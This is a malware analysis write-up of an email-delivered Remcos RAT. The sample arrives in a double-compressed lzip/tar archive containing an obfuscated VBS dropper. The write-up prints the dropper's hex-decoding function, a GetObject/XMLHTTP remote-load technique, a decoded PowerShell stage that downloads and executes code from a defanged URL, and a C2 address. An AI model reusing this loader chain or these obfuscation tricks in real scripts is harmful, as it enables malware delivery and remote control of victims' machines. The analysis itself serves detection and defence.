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Remcos RAT Delivered Through Double Compressed Archive

One of our readers shared an interesting sample received via email. Like him, if you get access to interesting/suspicious data, please share it with

The file was received as an attachment to a mail that pretended to be related to a purchase order. The file was called “P0-65774383__pdf.tar.lz” (

remnux@remnux:/MalwareZoo/20220215$ lunzip -l P0-65774383__pdf.tar.lz 
  uncompressed      compressed   saved  name 
         10240            1362  86.70%  P0-65774383__pdf.tar.lz 
remnux@remnux:/MalwareZoo/20220215$ file P0-65774383__pdf.tar.lz 
P0-65774383__pdf.tar.lz: lzip compressed data, version: 1

This is a strange way to deliver the payload because files with the extension '.lz' are not supported by default on Windows systems. There is no to

Let’s decompress it and untar it:

remnux@remnux:/MalwareZoo/20220215$ lunzip P0-65774383__pdf.tar.lz 
remnux@remnux:/MalwareZoo/20220215$ file P0-65774383__pdf.tar 
P0-65774383__pdf.tar: POSIX tar archive (GNU) 
remnux@remnux:/MalwareZoo/20220215$  tar xvf P0-65774383__pdf.tar 
./
./Protected Client.vbs

The ‘Protected Client.vbs’ script is nicely obfuscated.

Sensitive strings (that could reveal the purpose of the script) are encoded and decoded using the following function:
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Private Function MpGGKjWFHKaZCsd(sData) 
 For iChar = 1 To Len(sData) Step 2 
   pGwFuYQQKTRe = Chr("&H" & Mid(sData, iChar, 2)) 
   fQMBscV = fQMBscV & pGwFuYQQKTRe 
 Next 
 MpGGKjWFHKaZCsd = fQMBscV 
End Function

It’s a simple hex-encoding! Nothing fancy! But the interesting technique is the following, based on GetObject[1]. This function is used to obtain a r

Set YXHivrLSJ = GetObject(“new:F5078F32-C551-11D3-89B9-0000F81FE221”)

This UUID correspond to the ProgID 'MSXML2.XMLHTTP.3.0' as referenced in the Microsoft documentation[2].

Then, the object is populated with malicious content loaded from the following URL:

Execute("YXHivrLSJ.Load “hxxp://kastex[.]me/bkp/ybn.jpg' 
Execute("YXHivrLSJ.transformNode (YXHivrLSJ)")

The URL returns the XML content expected by the object. The file contains a Powershell payload, again hex-encoded:

var yy=r.ShellExecute("powershell.exe",nm12er7fdffff("2467663D2830303130303130302C30313030303130312C30313131303031302C3031313130303130

Once extracted, it contains:

$uJmg=
(01100110,01110101,01101110,01100011,01110100,01101001,01101111,01101110,00100000,01110100,01001101,01000011,01100110,01101011,0101001
1001,  
...  
,00001010,01111101) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };I`E`X([system.String]::Join('', $uJ

Decode and beautified, we have this code:

$ErrorActionPreference = 'SilentlyContinue'; 
$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg; 
'[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic')'|IEX; 
do { 
  $ping = test-connection -comp google.com -count 1 -Quiet 
} until ($ping); 
$tty='(NewObject Net.WebClient)' | IEX; 
$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'hxxp://www[.]srbi

The site has already been cleaned and the payload deleted but, with a bit of hunting on VT, it’s possible to get a copy of the payload. It’s another p
analysis, it's a Remcos[3] RAT sample (C2: notme[.]linkpc[.]net:4376).

[1] https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/getobject-function
[2] https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766426(v=vs.85)
[3] https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
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